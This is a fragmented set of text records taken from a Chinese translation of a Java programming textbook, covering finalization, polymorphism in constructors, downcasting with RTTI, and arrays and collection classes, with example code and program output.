    {"text": "若没有基础类初始 化，则输出结果是： ｎｏｔ ｆｉｎａｌｉｚｉｎｇ ｂａｓｅｓ Ｃｒｅａｔｉｎｇ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｉｓ ａｌｉｖｅ ＬｉｖｉｎｇＣｒｅａｔｕｒｅ（） Ｃｒｅａｔｉｎｇ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｈａｓ ｈｅａｒｔ Ａｎｉｍａｌ（） Ｃｒｅａｔｉｎｇ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｃａｎ ｌｉｖｅ ｉｎ ｗａｔｅｒ ２０１ Ａｍｐｈｉｂｉａｎ（） Ｆｒｏｇ（） ｂｙｅ！"},
    {"text": "Ｆｒｏｇ ｆｉｎａｌｉｚｅ ｆｉｎａｌｉｚｉｎｇ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｉｓ ａｌｉｖｅ ｆｉｎａｌｉｚｉｎｇ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｈａｓ ｈｅａｒｔ ｆｉｎａｌｉｚｉｎｇ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｃａｎ ｌｉｖｅ ｉｎ ｗａｔｅｒ 从中可以看出确实没有为基础类 Ｆｒｏｇ 调用收尾模块。"},
    {"text": "但假如在命令行加入“ｆｉｎａｌｉｚｅ”自变量，则会获得下 述结果： Ｃｒｅａｔｉｎｇ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｉｓ ａｌｉｖｅ ＬｉｖｉｎｇＣｒｅａｔｕｒｅ（） Ｃｒｅａｔｉｎｇ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｈａｓ ｈｅａｒｔ Ａｎｉｍａｌ（） Ｃｒｅａｔｉｎｇ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｃａｎ ｌｉｖｅ ｉｎ ｗａｔｅｒ Ａｍｐｈｉｂｉａｎ（） Ｆｒｏｇ（） ｂｙｅ！"},
    {"text": "Ｆｒｏｇ ｆｉｎａｌｉｚｅ Ａｍｐｈｉｂｉａｎ ｆｉｎａｌｉｚｅ Ａｎｉｍａｌ ｆｉｎａｌｉｚｅ ＬｉｖｉｎｇＣｒｅａｔｕｒｅ ｆｉｎａｌｉｚｅ ｆｉｎａｌｉｚｉｎｇ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｉｓ ａｌｉｖｅ ｆｉｎａｌｉｚｉｎｇ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｈａｓ ｈｅａｒｔ ｆｉｎａｌｉｚｉｎｇ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｃａｎ ｌｉｖｅ ｉｎ ｗａｔｅｒ 尽管成员对象按照与它们创建时相同的顺序进行收尾，但从技术角度说，并没有指定对象收尾的顺序。"},
    {"text": "７ ． ７ ． ３ 构建器内部的多形性方法的行为 构建器调用的分级结构（顺序）为我们带来了一个有趣的问题，或者说让我们进入了一种进退两难的局面。"},
    {"text": "若当前位于一个构建器的内部，同时调用准备构建的那个对象的一个动态绑定方法，那么会出现什么情况 呢？ 在原始的方法内部，我们完全可以想象会发生什么——动态绑定的调用会在运行期间进行解析，因为对 象不知道它到底从属于方法所在的那个类，还是从属于从它衍生出来的某些类。"},
    {"text": "通过观察下面这个例子，这个问题便会昭然若揭： ／／： ＰｏｌｙＣｏｎｓｔｒｕｃｔｏｒｓ．ｊａｖａ ／／ Ｃｏｎｓｔｒｕｃｔｏｒｓ ａｎｄ ｐｏｌｙｍｏｒｐｈｉｓｍ ／／ ｄｏｎ＇ｔ ｐｒｏｄｕｃｅ ｗｈａｔ ｙｏｕ ｍｉｇｈｔ ｅｘｐｅｃｔ． ａｂｓｔｒａｃｔ ｃｌａｓｓ Ｇｌｙｐｈ ｛ ２０２ ａｂｓｔｒａｃｔ ｖｏｉｄ ｄｒａｗ（）； Ｇｌｙｐｈ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｇｌｙｐｈ（） ｂｅｆｏｒｅ ｄｒａｗ（）＂）； ｄｒａｗ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｇｌｙｐｈ（） ａｆｔｅｒ ｄｒａｗ（）＂）； ｝ ｝ ｃｌａｓｓ ＲｏｕｎｄＧｌｙｐｈ ｅｘｔｅｎｄｓ Ｇｌｙｐｈ ｛ ｉｎｔ ｒａｄｉｕｓ ＝ １； ＲｏｕｎｄＧｌｙｐｈ（ｉｎｔ ｒ） ｛ ｒａｄｉｕｓ ＝ ｒ； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ＲｏｕｎｄＧｌｙｐｈ．ＲｏｕｎｄＧｌｙｐｈ（）， ｒａｄｉｕｓ ＝ ＂ ＋ ｒａｄｉｕｓ）； ｝ ｖｏｉｄ ｄｒａｗ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ＲｏｕｎｄＧｌｙｐｈ．ｄｒａｗ（）， ｒａｄｉｕｓ ＝ ＂ ＋ ｒａｄｉｕｓ）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＰｏｌｙＣｏｎｓｔｒｕｃｔｏｒｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｎｅｗ ＲｏｕｎｄＧｌｙｐｈ（５）；"},
    {"text": "但 Ｇｌｙｐｈ 构建器会调用这个方法，而且调用会在 ＲｏｕｎｄＧｌｙｐｈ．ｄｒａｗ（）中 止，这看起来似乎是有意的。 但请看看输出结果： Ｇｌｙｐｈ（） ｂｅｆｏｒｅ ｄｒａｗ（） ＲｏｕｎｄＧｌｙｐｈ．ｄｒａｗ（）， ｒａｄｉｕｓ ＝ ０ Ｇｌｙｐｈ（） ａｆｔｅｒ ｄｒａｗ（） ＲｏｕｎｄＧｌｙｐｈ．ＲｏｕｎｄＧｌｙｐｈ（）， ｒａｄｉｕｓ ＝ ５ 当 Ｇｌｙｐｈ 的构建器调用 ｄｒａｗ（）时，ｒａｄｉｕｓ 的值甚至不是默认的初始值 １，而是 ０。"},
    {"text": "此时，被覆盖的 ｄｒａｗ（）方法会得到调用（的确是在 ＲｏｕｎｄＧｌｙｐｈ 构建器调用之前），此时会发现 ｒａｄｉｕｓ 的值为 ０，这是由于步骤（１）造成的。"},
    {"text": "在构建器内唯一能够安全调用的是在基础类中具有 ｆｉｎａｌ 属性的那些方法（也适用于 ｐｒｉｖａｔｅ 方法，它们自动具有 ｆｉｎａｌ 属性）。"},
    {"text": "下面这个例子对此进行了阐释： ／／： Ｔｒａｎｓｍｏｇｒｉｆｙ．ｊａｖａ ／／ Ｄｙｎａｍｉｃａｌｌｙ ｃｈａｎｇｉｎｇ ｔｈｅ ｂｅｈａｖｉｏｒ ｏｆ ／／ ａｎ ｏｂｊｅｃｔ ｖｉａ ｃｏｍｐｏｓｉｔｉｏｎ． ｉｎｔｅｒｆａｃｅ Ａｃｔｏｒ ｛ ｖｏｉｄ ａｃｔ（）； ｝ ｃｌａｓｓ ＨａｐｐｙＡｃｔｏｒ ｉｍｐｌｅｍｅｎｔｓ Ａｃｔｏｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＨａｐｐｙＡｃｔｏｒ＂）； ｝ ｝ ｃｌａｓｓ ＳａｄＡｃｔｏｒ ｉｍｐｌｅｍｅｎｔｓ Ａｃｔｏｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＳａｄＡｃｔｏｒ＂）； ｝ ｝ ｃｌａｓｓ Ｓｔａｇｅ ｛ Ａｃｔｏｒ ａ ＝ ｎｅｗ ＨａｐｐｙＡｃｔｏｒ（）； ｖｏｉｄ ｃｈａｎｇｅ（） ｛ ａ ＝ ｎｅｗ ＳａｄＡｃｔｏｒ（）； ｝ ｖｏｉｄ ｇｏ（） ｛ ａ．ａｃｔ（）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｔｒａｎｓｍｏｇｒｉｆｙ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｔａｇｅ ｓ ＝ ｎｅｗ Ｓｔａｇｅ（）； ｓ．ｇｏ（）； ／／ Ｐｒｉｎｔｓ ＂ＨａｐｐｙＡｃｔｏｒ＂ ｓ．ｃｈａｎｇｅ（）； ｓ．ｇｏ（）；"},
    {"text": "／／ Ｐｒｉｎｔｓ ＂ＳａｄＡｃｔｏｒ＂ ｝ ｝ ／／／：￣ 在这里，一个 Ｓｔａｇｅ 对象包含了指向一个 Ａｃｔｏｒ 的句柄，后者被初始化成一个 ＨａｐｐｙＡｃｔｏｒ 对象。"},
    {"text": "但由于句柄在运行期间可以重新与一个不同的对象绑定或结合起来，所以 ＳａｄＡｃｔｏｒ 对象的句柄可在 ａ 中得到替换，然后由 ｇｏ（）产生的行为发生改变。"},
    {"text": "也就是说，只有在基 础类或“接口”中已建立的方法才可在衍生类中被覆盖，如下面这张图所示： 可将其描述成一种纯粹的“属于”关系，因为一个类的接口已规定了它到底“是什么”或者“属于什么”。"},
    {"text": "若按这种思路考虑问题，那么一个纯粹的“属于”关系似乎是唯一明智的设计方法，其他任何设计方法都会 导致混乱不清的思路，而且在定义上存在很大的困难。"},
    {"text": "可将其称为“类似于”关系，因为扩展后的衍生 类“类似于”基础类——它们有相同的基础接口——但它增加了一些特性，要求用额外的方法加以实现。 如 下所示： ２０５ 尽管这是一种有用和明智的做法（由具体的环境决定），但它也有一个缺点：衍生类中对接口扩展的那一部 分不可在基础类中使用。"},
    {"text": "７ ． ８ ． ２ 下溯造型与运行期类型标识 由于我们在上溯造型（在继承结构中向上移动）期间丢失了具体的类型信息，所以为了获取具体的类型信 息——亦即在分级结构中向下移动——我们必须使用 “下溯造型”技术。"},
    {"text": "下面这个例子向大家演示了 ＲＴＴＩ 的行为： ／／： ＲＴＴＩ．ｊａｖａ ／／ Ｄｏｗｎｃａｓｔｉｎｇ ＆ Ｒｕｎ－Ｔｉｍｅ Ｔｙｐｅ ／／ Ｉｄｅｎｔｉｆｉｃａｔｉｏｎ （ＲＴＴＩ） ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｃｌａｓｓ Ｕｓｅｆｕｌ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｆ（） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｇ（） ｛｝ ｝ ｃｌａｓｓ ＭｏｒｅＵｓｅｆｕｌ ｅｘｔｅｎｄｓ Ｕｓｅｆｕｌ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｆ（） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｇ（） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｕ（） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｖ（） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｗ（） ｛｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＲＴＴＩ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｕｓｅｆｕｌ［］ ｘ ＝ ｛ ｎｅｗ Ｕｓｅｆｕｌ（）， ｎｅｗ ＭｏｒｅＵｓｅｆｕｌ（） ｝；"},
    {"text": "ｘ［１］．ｕ（）； （（ＭｏｒｅＵｓｅｆｕｌ）ｘ［１］）．ｕ（）； ／／ Ｄｏｗｎｃａｓｔ／ＲＴＴＩ （（ＭｏｒｅＵｓｅｆｕｌ）ｘ［０］）．ｕ（）；"},
    {"text": "／／ Ｅｘｃｅｐｔｉｏｎ ｔｈｒｏｗｎ ｝ ｝ ／／／：￣ 和在示意图中一样，ＭｏｒｅＵｓｅｆｕｌ（更有用的）对 Ｕｓｅｆｕｌ（有用的）的接口进行了扩展。"},
    {"text": "为使用多形性乃至面向对象的技术，特别是在自己的程序中，必须将自己的编程视野扩展到不仅包括单独一 个类的成员和消息，也要包括类与类之间的一致性以及它们的关系。"},
    {"text": "尽管这要求学习时付出更多的精力，但 却是非常值得的，因为只有这样才可真正有效地加快自己的编程速度、更好地组织代码、更容易做出包容面 广的程序以及更易对自己的代码进行维护与扩展。"},
    {"text": "７ ． １ ０ 练习 （１） 创建 Ｒｏｄｅｎｔ（啮齿动物）：Ｍｏｕｓｅ（老鼠），Ｇｅｒｂｉｌ（鼹鼠），Ｈａｍｓｔｅｒ（大颊鼠）等的一个继承分级结 构。"},
    {"text": "在基础类中，提供适用于所有 Ｒｏｄｅｎｔ 的方法，并在衍生类中覆盖它们，从而根据不同类型的 Ｒｏｄｅｎｔ 采 取不同的行动。 创建一个 Ｒｏｄｅｎｔ 数组，在其中填充不同类型的 Ｒｏｄｅｎｔ，然后调用自己的基础类方法，看看 会有什么情况发生。"},
    {"text": "此外，Ｊａｖａ 的工具（实用程序）库提供了一些 “集合类”（亦称作“容器类”，但该术语已由 ＡＷＴ 使用，所以这里仍采用“集合”这一称呼）。"},
    {"text": "数组实际代表一个简单的线性序列，它使得元素的 访问速度非常快，但我们却要为这种速度付出代价：创建一个数组对象时，它的大小是固定的，而且不可在 那个数组对象的“存在时间”内发生改变。"},
    {"text": "Ｃ＋＋的矢量类知道自己容纳的是什么类型的对象，但同 Ｊａｖａ 的数组相比，它却有一个明显的缺点：Ｃ＋＋矢量类 的 ｏｐｅｒａｔｏｒ［］不能进行范围检查，所以很容易超出边界（然而，它可以查询 ｖｅｃｔｏｒ 有多大，而且 ａｔ（）方法 确实能进行范围检查）。"},
    {"text": "在 Ｊａｖａ 中，无论使用的是数组还是集合，都会进行范围检查——若超过边界，就会 获得一个 ＲｕｎｔｉｍｅＥｘｃｅｐｔｉｏｎ（运行期违例）错误。"},
    {"text": "在另一方面，由于 Ｃ＋＋的 ｖｅｃｔｏｒ 不进行范围检查，所以访问速度 较快——在 Ｊａｖａ 中，由于对数组和集合都要进行范围检查，所以对性能有一定的影响。"},
    {"text": "从某个角度看，这种处理方法是非常合理的：我们仅需构建一个集合，然后 任何 Ｊａｖａ 对象都可以进入那个集合（除基本数据类型外——可用 Ｊａｖａ 的基本类型封装类将其作为常数置入 集合，或者将其封装到自己的类内，作为可以变化的值使用）。"},
    {"text": "堆对象的一部分（实际是我们能访问的唯一字段或方法）是只读的 ｌｅｎｇｔｈ（长度）成员，它告诉 我们那个数组对象里最多能容纳多少元素。"},
    {"text": "唯一的差别在于对象数组容纳的是句柄， 而基本数据类型数组容纳的是具体的数值（若在执行此程序时遇到困难，请参考第 ３ 章的“赋值”小节）： ／／： ＡｒｒａｙＳｉｚｅ．ｊａｖａ ／／ Ｉｎｉｔｉａｌｉｚａｔｉｏｎ ＆ ｒｅ－ａｓｓｉｇｎｍｅｎｔ ｏｆ ａｒｒａｙｓ ｐａｃｋａｇｅ ｃ０８；"},
    {"text": "ｃｌａｓｓ Ｗｅｅｂｌｅ ｛｝ ／／ Ａ ｓｍａｌｌ ｍｙｔｈｉｃａｌ ｃｒｅａｔｕｒｅ ｐｕｂｌｉｃ ｃｌａｓｓ ＡｒｒａｙＳｉｚｅ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ／／ Ａｒｒａｙｓ ｏｆ ｏｂｊｅｃｔｓ： Ｗｅｅｂｌｅ［］ ａ； ／／ Ｎｕｌｌ ｈａｎｄｌｅ Ｗｅｅｂｌｅ［］ ｂ ＝ ｎｅｗ Ｗｅｅｂｌｅ［５］； ／／ Ｎｕｌｌ ｈａｎｄｌｅｓ Ｗｅｅｂｌｅ［］ ｃ ＝ ｎｅｗ Ｗｅｅｂｌｅ［４］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｃ．ｌｅｎｇｔｈ； ｉ＋＋） ｃ［ｉ］ ＝ ｎｅｗ Ｗｅｅｂｌｅ（）； Ｗｅｅｂｌｅ［］ ｄ ＝ ｛ ｎｅｗ Ｗｅｅｂｌｅ（）， ｎｅｗ Ｗｅｅｂｌｅ（）， ｎｅｗ Ｗｅｅｂｌｅ（） ｝； ／／ Ｃｏｍｐｉｌｅ ｅｒｒｏｒ： ｖａｒｉａｂｌｅ ａ ｎｏｔ ｉｎｉｔｉａｌｉｚｅｄ： ／／！ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａ．ｌｅｎｇｔｈ＝＂ ＋ ａ．ｌｅｎｇｔｈ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｂ．ｌｅｎｇｔｈ ＝ ＂ ＋ ｂ．ｌｅｎｇｔｈ）； ／／ Ｔｈｅ ｈａｎｄｌｅｓ ｉｎｓｉｄｅ ｔｈｅ ａｒｒａｙ ａｒｅ ／／ ａｕｔｏｍａｔｉｃａｌｌｙ ｉｎｉｔｉａｌｉｚｅｄ ｔｏ ｎｕｌｌ： ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｂ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｂ［＂ ＋ ｉ ＋ ＂］＝＂ ＋ ｂ［ｉ］）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｃ．ｌｅｎｇｔｈ ＝ ＂ ＋ ｃ．ｌｅｎｇｔｈ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｄ．ｌｅｎｇｔｈ ＝ ＂ ＋ ｄ．ｌｅｎｇｔｈ）； ａ ＝ ｄ； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａ．ｌｅｎｇｔｈ ＝ ＂ ＋ ａ．ｌｅｎｇｔｈ）； ／／ Ｊａｖａ １．１ ｉｎｉｔｉａｌｉｚａｔｉｏｎ ｓｙｎｔａｘ： ａ ＝ ｎｅｗ Ｗｅｅｂｌｅ［］ ｛ ｎｅｗ Ｗｅｅｂｌｅ（）， ｎｅｗ Ｗｅｅｂｌｅ（） ｝； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａ．ｌｅｎｇｔｈ ＝ ＂ ＋ ａ．ｌｅｎｇｔｈ）； ／／ Ａｒｒａｙｓ ｏｆ ｐｒｉｍｉｔｉｖｅｓ： ｉｎｔ［］ ｅ； ／／ Ｎｕｌｌ ｈａｎｄｌｅ ｉｎｔ［］ ｆ ＝ ｎｅｗ ｉｎｔ［５］； ｉｎｔ［］ ｇ ＝ ｎｅｗ ｉｎｔ［４］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｇ．ｌｅｎｇｔｈ； ｉ＋＋） ｇ［ｉ］ ＝ ｉ＊ｉ； ｉｎｔ［］ ｈ ＝ ｛ １１， ４７， ９３ ｝； ／／ Ｃｏｍｐｉｌｅ ｅｒｒｏｒ： ｖａｒｉａｂｌｅ ｅ ｎｏｔ ｉｎｉｔｉａｌｉｚｅｄ： ／／！ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｅ．ｌｅｎｇｔｈ＝＂ ＋ ｅ．ｌｅｎｇｔｈ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｆ．ｌｅｎｇｔｈ ＝ ＂ ＋ ｆ．ｌｅｎｇｔｈ）； ／／ Ｔｈｅ ｐｒｉｍｉｔｉｖｅｓ ｉｎｓｉｄｅ ｔｈｅ ａｒｒａｙ ａｒｅ ／／ ａｕｔｏｍａｔｉｃａｌｌｙ ｉｎｉｔｉａｌｉｚｅｄ ｔｏ ｚｅｒｏ： ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｆ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｆ［＂ ＋ ｉ ＋ ＂］＝＂ ＋ ｆ［ｉ］）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｇ．ｌｅｎｇｔｈ ＝ ＂ ＋ ｇ．ｌｅｎｇｔｈ）； ２１０ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｈ．ｌｅｎｇｔｈ ＝ ＂ ＋ ｈ．ｌｅｎｇｔｈ）；"},
    {"text": "ｅ ＝ ｈ； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｅ．ｌｅｎｇｔｈ ＝ ＂ ＋ ｅ．ｌｅｎｇｔｈ）； ／／ Ｊａｖａ １．１ ｉｎｉｔｉａｌｉｚａｔｉｏｎ ｓｙｎｔａｘ： ｅ ＝ ｎｅｗ ｉｎｔ［］ ｛ １， ２ ｝； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｅ．ｌｅｎｇｔｈ ＝ ＂ ＋ ｅ．ｌｅｎｇｔｈ）； ｝ ｝ ／／／：￣ Ｈｅｒｅ’ｓ ｔｈｅ ｏｕｔｐｕｔ ｆｒｏｍ ｔｈｅ ｐｒｏｇｒａｍ： ｂ．ｌｅｎｇｔｈ ＝ ５ ｂ［０］＝ｎｕｌｌ ｂ［１］＝ｎｕｌｌ ｂ［２］＝ｎｕｌｌ ｂ［３］＝ｎｕｌｌ ｂ［４］＝ｎｕｌｌ ｃ．ｌｅｎｇｔｈ ＝ ４ ｄ．ｌｅｎｇｔｈ ＝ ３ ａ．ｌｅｎｇｔｈ ＝ ３ ａ．ｌｅｎｇｔｈ ＝ ２ ｆ．ｌｅｎｇｔｈ ＝ ５ ｆ［０］＝０ ｆ［１］＝０ ｆ［２］＝０ ｆ［３］＝０ ｆ［４］＝０ ｇ．ｌｅｎｇｔｈ ＝ ４ ｈ．ｌｅｎｇｔｈ ＝ ３ ｅ．ｌｅｎｇｔｈ ＝ ３ ｅ．ｌｅｎｇｔｈ ＝ ２ 其中，数组 ａ 只是初始化成一个 ｎｕｌｌ 句柄。"},
    {"text": "这也为我们带来了 一个难题：不可知道那个数组里实际包含了多少个元素，因为 ｌｅｎｇｔｈ 只告诉我们可将多少元素置入那个数 组。 换言之，我们只知道数组对象的大小或容量，不知其实际容纳了多少个元素。"},
    {"text": "尽管如此，由于数组对象 在创建之初会自动初始化成 ｎｕｌｌ，所以可检查它是否为 ｎｕｌｌ，判断一个特定的数组“空位”是否容纳一个对 象。"},
    {"text": "数组 ｃ 显示出我们首先创建一个数组对象，再将 Ｗｅｅｂｌｅ 对象赋给那个数组的所有“空位”。 数组 ｄ 揭示出 “集合初始化”语法，从而创建数组对象（用 ｎｅｗ 命令明确进行，类似于数组 ｃ），然后用 Ｗｅｅｂｌｅ 对象进行 初始化，全部工作在一条语句里完成。"},
    {"text": "但在 Ｊａｖａ １．１ 中，亦可动态创建想作为参数传递的数组，如下所示： ｈｉｄｅ（ｎｅｗ Ｗｅｅｂｌｅ［］ ｛ｎｅｗ Ｗｅｅｂｌｅ（）， ｎｅｗ Ｗｅｅｂｌｅ（） ｝）；"},
    {"text": "上述例子的第二部分揭示出这样一个问题：对于由基本数据类型构成的数组，它们的运作方式与对象数组极 为相似，只是前者直接包容了基本类型的数据值。"},
    {"text": "１． 基本数据类型集合 集合类只能容纳对象句柄。 但对一个数组，却既可令其直接容纳基本类型的数据，亦可容纳指向对象的句 柄。 利用象 Ｉｎｔｅｇｅｒ、Ｄｏｕｂｌｅ 之类的“封装器”类，可将基本数据类型的值置入一个集合里。 但正如本章后 面会在 ＷｏｒｄＣｏｕｎｔ．ｊａｖａ 例子中讲到的那样，用于基本数据类型的封装器类只是在某些场合下才能发挥作用。 无论将基本类型的数据置入数组，还是将其封装进入位于集合的一个类内，都涉及到执行效率的问题。 显 然，若能创建和访问一个基本数据类型数组，那么比起访问一个封装数据的集合，前者的效率会高出许多。 当然，假如准备一种基本数据类型，同时又想要集合的灵活性（在需要的时候可自动扩展，腾出更多的空 间），就不宜使用数组，必须使用由封装的数据构成的一个集合。"},
    {"text": "８ ． １ ． ２ 数组的返回 假定我们现在想写一个方法，同时不希望它仅仅返回一样东西，而是想返回一系列东西。 此时，象 Ｃ 和 Ｃ＋＋ 这样的语言会使问题复杂化，因为我们不能返回一个数组，只能返回指向数组的一个指针。"},
    {"text": "作为一个例子，请思考如何返回一个字串数组： ／／： ＩｃｅＣｒｅａｍ．ｊａｖａ ／／ Ｒｅｔｕｒｎｉｎｇ ａｒｒａｙｓ ｆｒｏｍ ｍｅｔｈｏｄｓ ｐｕｂｌｉｃ ｃｌａｓｓ ＩｃｅＣｒｅａｍ ｛ ｓｔａｔｉｃ Ｓｔｒｉｎｇ［］ ｆｌａｖ ＝ ｛ ＂Ｃｈｏｃｏｌａｔｅ＂， ＂Ｓｔｒａｗｂｅｒｒｙ＂， ＂Ｖａｎｉｌｌａ Ｆｕｄｇｅ Ｓｗｉｒｌ＂， ＂Ｍｉｎｔ Ｃｈｉｐ＂， ＂Ｍｏｃｈａ Ａｌｍｏｎｄ Ｆｕｄｇｅ＂， ＂Ｒｕｍ Ｒａｉｓｉｎ＂， ＂Ｐｒａｌｉｎｅ Ｃｒｅａｍ＂， ＂Ｍｕｄ Ｐｉｅ＂ ｝；"},
    {"text": "ｓｔａｔｉｃ Ｓｔｒｉｎｇ［］ ｆｌａｖｏｒＳｅｔ（ｉｎｔ ｎ） ｛ ／／ Ｆｏｒｃｅ ｉｔ ｔｏ ｂｅ ｐｏｓｉｔｉｖｅ ＆ ｗｉｔｈｉｎ ｂｏｕｎｄｓ： ｎ ＝ Ｍａｔｈ．ａｂｓ（ｎ） ％ （ｆｌａｖ．ｌｅｎｇｔｈ ＋ １）； Ｓｔｒｉｎｇ［］ ｒｅｓｕｌｔｓ ＝ ｎｅｗ Ｓｔｒｉｎｇ［ｎ］； ｉｎｔ［］ ｐｉｃｋｓ ＝ ｎｅｗ ｉｎｔ［ｎ］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｐｉｃｋｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｐｉｃｋｓ［ｉ］ ＝ －１； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｐｉｃｋｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ｒｅｔｒｙ： ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｉｎｔ ｔ ＝ （ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ ｆｌａｖ．ｌｅｎｇｔｈ）； ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ｉ； ｊ＋＋） ２１２ ｉｆ（ｐｉｃｋｓ［ｊ］ ＝＝ ｔ） ｃｏｎｔｉｎｕｅ ｒｅｔｒｙ； ｐｉｃｋｓ［ｉ］ ＝ ｔ； ｒｅｓｕｌｔｓ［ｉ］ ＝ ｆｌａｖ［ｔ］； ｂｒｅａｋ； ｝ ｝ ｒｅｔｕｒｎ ｒｅｓｕｌｔｓ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ２０； ｉ＋＋） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｆｌａｖｏｒＳｅｔ（＂ ＋ ｉ ＋ ＂） ＝ ＂）； Ｓｔｒｉｎｇ［］ ｆｌ ＝ ｆｌａｖｏｒＳｅｔ（ｆｌａｖ．ｌｅｎｇｔｈ）； ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ｆｌ．ｌｅｎｇｔｈ； ｊ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂＼ｔ＂ ＋ ｆｌ［ｊ］）；"},
    {"text": "为达到这个目的，它使用了一个无限 ｗｈｉｌｅ 循环，不断地作出随机选择，直到发现未在 ｐｉｃｋｓ 数组里出 现过的一个元素为止（当然，也可以进行字串比较，检查随机选择是否在 ｒｅｓｕｌｔｓ 数组里出现过，但字串比 较的效率比较低）。"},
    {"text": "若成功，就添加这个元素，并中断循环（ｂｒｅａｋ），再查找下一个（ｉ 值会递增）。 但假 若 ｔ 是一个已在 ｐｉｃｋｓ 里出现过的数组，就用标签式的 ｃｏｎｔｉｎｕｅ 往回跳两级，强制选择一个新 ｔ。"},
    {"text": "为解决这个 问题，Ｊａｖａ 提供了四种类型的“集合类”：Ｖｅｃｔｏｒ（矢量）、ＢｉｔＳｅｔ（位集）、Ｓｔａｃｋ（堆栈）以及 Ｈａｓｈｔａｂｌｅ（散列表）。"},
    {"text": "这是一个很好的方案，只是不适用 ２１３ 下述场合： （１） 将一个对象句柄置入集合时，由于类型信息会被抛弃，所以任何类型的对象都可进入我们的集合——即 便特别指示它只能容纳特定类型的对象。"},
